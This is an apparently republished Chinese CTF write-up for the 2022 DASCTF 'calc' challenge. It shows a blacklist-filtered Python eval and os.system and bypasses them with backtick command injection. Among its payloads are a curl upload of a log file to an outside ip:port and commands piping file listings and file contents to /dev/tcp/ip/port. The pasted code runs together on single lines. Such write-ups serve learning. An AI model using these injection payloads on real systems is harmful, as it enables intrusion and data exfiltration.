[2022DASCTF X SU 三月春季挑战赛]calc

2024-01-31 22:40

本文主要是介绍[2022DASCTF X SU 三月春季挑战赛]calc,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x00 前言

比赛时几乎没看这道题
upgdstore感觉快出了就想搏一搏结果还是歇逼了…
弥补一下

0x01 brain.md

很常规的计算器在这里插入图片描述
很贴心给了源码

# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import timedef waf(s):blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class','subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen','builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem','getattribute', 'func_globals', '__init__', 'join', '__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag = Falseprint(no)breakreturn flagwhile True:num = input("num>>>")log = "echo {0} {1} {2}> /tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)if waf(num):try:data = eval(num)os.system(log)except:print(data)passelse:print("waf!!")

eval处被ban了很多 但是没ban反引号
注意到下面还有个os.system(log) 可以在这执行
不熟悉的建议本地搭着先试试
python eval
https://blog.csdn.net/qq_26442553/article/details/94396532

# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import timedef waf(s):blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class','subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen','builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem','getattribute', 'func_globals', '__init__', 'join', '__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag = Falseprint(no)breakreturn flagwhile True:num = input("num>>>")log = "echo {0} {1} > /tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()),  num)if waf(num):try:data = eval(num)os.system(log)except (Exception, BaseException) as e:print(e)passelse:print("waf!!")

bash直接带

root@LAPTOP-RDTNMS90:/mnt/f/工具/工具/dirsearch/dirsearch-master# echo 1+1`ls`
1+1CHANGELOG.md CONTRIBUTORS.md db default.conf dirsearch.py Dockerfile lib logs README.md reports requirements.txt 

python中为避免语法错误可加上注释符#

num>>>1+1`ls`
invalid syntax (<string>, line 1)
num>>>1+1#`ls`  
num>>>

一种外带 一种直接弹回显
本质都一样

先执行 然后再外带看结果

1+1#`ls`
1+1#`curl	-X	GET	-F	xx=@tmp/log.txt	http://ip:port/`

在这里插入图片描述

1%2b1%23`cat%09T*`

在这里插入图片描述
还有一种直接弹回显 本地测试的话shell必须为bash!(zsh报错

1%2b1%23`ls>/dev/tcp/ip/port`
1%2b1%23`cat%09T*>/dev/tcp/ip/port`

回看原始命令
也就是内联执行了ls>/dev/tcp/ip/port

echo 1+1#`ls>/dev/tcp/ip/port` >/tmp/log.txt

这种情况下log.txt不会带有内联执行的结果
在这里插入图片描述

0x02 rethink

少说话多做题

这篇关于[2022DASCTF X SU 三月春季挑战赛]calc的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/665286

相关文章

2024年第十届数维杯国际大学生数学建模挑战赛

竞赛介绍 为了培养学生的创新意识及运用数学方法和计算机技术解决实际问题的能力,内蒙古创新教育学会、内蒙古基础教育研究院决定主办2024年第十届数维杯国际大学生数学建模挑战赛(国际赛)。 数维杯大学生数学建模挑战赛每年分为两场,每年上半年为数维杯国赛(5月,俗称小国赛),下半年为数维杯国际赛(11月),2023年数维杯国际大学生数学建模挑战赛共有近1.5万名学生参赛,参赛队伍来自国内外1177所

高校计算机能力挑战赛C++

2020 1.Excel表列名称由字母A~Z组成,列字母的规律如下: A、B、C.....Z、AA、AB......AZ、BA、BB.......ZZZZY、ZZZZZ....... 输入:输入包含两个列名称字符串,长度均小于等于5。输出: 输出:两个列名称之间共有多少列 样例输入: AA  AZ 样例输出: 24 2."九键拼音中数字与英文字母成对应关系:2--abc, 3-def,

QIIME2宏基因组学教程--2024年春季莱顿和苏黎世教程

最近在qiime2论坛发现有人发布了qiime2宏基因组的教程,这里分享一下,只是alpha版本,不成熟,大家谨慎了解。qiime2的专用格式对于折腾宏基因组还是有点不妥的,个人观点,但是好在他能让分析标准化,可追溯的话,我觉得还是利大于弊的。 地址在这:宏基因组学与QIIME 2 - 2024年春季莱顿和苏黎世教程 - 宏基因组分析与QIIME2 警告 使用 QIIME 2 进行的宏基因组学分

2020计算机挑战赛Java组真题

单选题 1.下列叙述哪些是错误的(). A.final 类不可以有子类 B.构造方法是类的一种特殊方法,其方法名必须与类名相同 C.抽象类可以用new运算符创建对象 D.内存回收程序不允许程序员直接释放内存2.下列叙述哪些是错误的(). A.abstract类不可以用new和构造函数定义对象 B.构造方法的返回值类型只能是void型 C.内存回收程序负责释放无用内存 D.Java类只能是单继承的

2017年华为精英挑战赛

http://blog.csdn.net/h532600610/article/details/70183608 http://blog.csdn.net/mmy1996/article/details/64443159

CSS3 calc() 的定义与用法

CSS calc() 函数 转载:https://www.html.cn/book/css/values/functional/calc().htm - 定义与用法 calc() 函数用于动态计算长度值。 需要注意的是,运算符前后都需要保留一个空格,例如:width: calc(100% - 10px);任何长度值都可以使用calc()函数进行计算; calc()函数支持 “+”, “

终于!我找到了开发的得力助手!阿里云天池云原生编程挑战赛参赛攻略

作者:ysevenk_7 参赛准备 我是机缘巧合在 6 月底了解到了天池云原生编程挑战赛,于是乎搜了一下,之前本人对于比赛并没有太多经验,看了大赛介绍之后莫名兴奋,果断拉了队友报名,完成认证、起队名、下载插件注册等准备任务,然后根据官方给出的赛题进行选择,由于我对开源的经验非常少,束手束脚,对于选题只是盲目的看了所使用的技术栈是否匹配,并没有考虑其他因素,于是选择了几天的项目后,看到项目诉求中

第七届MathorCup高校数学建模挑战赛-A题:基于改进的神经网络和混沌时间序列预测控制高炉炼铁过程(续)

目录 6.4 混沌时间序列预测模型  6.4.1 一步预测模型 6.4.4 二步预测模型 6.4.5 二步预测的参数 6.4.6 二步预测的结果 七.问题二模型的建立与求解 7.1 模型的预测成功率 7.1.1 训练集与验证集 7.1.2 数值预测成功率 7.1.3 炉温升降方向预测成功率 7.2 动态预测控制的可行性 7.2.1 神经网络训练函数的选取 7.2.2 神经

第七届MathorCup高校数学建模挑战赛-A题:基于改进的神经网络和混沌时间序列预测控制高炉炼铁过程

目录 摘要 一.问题重述 二.模型假设 三.符号说明 四.问题分析 五.数据预处理 5.1 异常值剔除 5.2 归一化处理 5.3 预处理后的数据 六.问题一模型的建立与求解 6.1 BP 神经网络预测模型 6.1.1 输入层和输出层 6.1.2 训练集和验证集 6.1.3 三层 BP 神经网络结构 6.1.4 BP 神经网络的参数 6.1.6 相关性分析 6.2 小波神经网络预测模型 6.2.

合理运用su和sudo命令以保证系统用户安全

Linux系统为我们提供了su、sudo两种用户权限管理机制,其中su主要是用来切换用户,而sudo用户来提升执行权限。下面分别进行详细讲解。 一、su命令——切换用户 使用su命令,可以切换为指定的另一个用户,从而具有该用户的所有权限。当然,切换时需要目标用户的密码进行验证(从root切换为其他用户时列外) 例如:当普通用户切换root身份时,需要输入root的密码。 上述命令操作中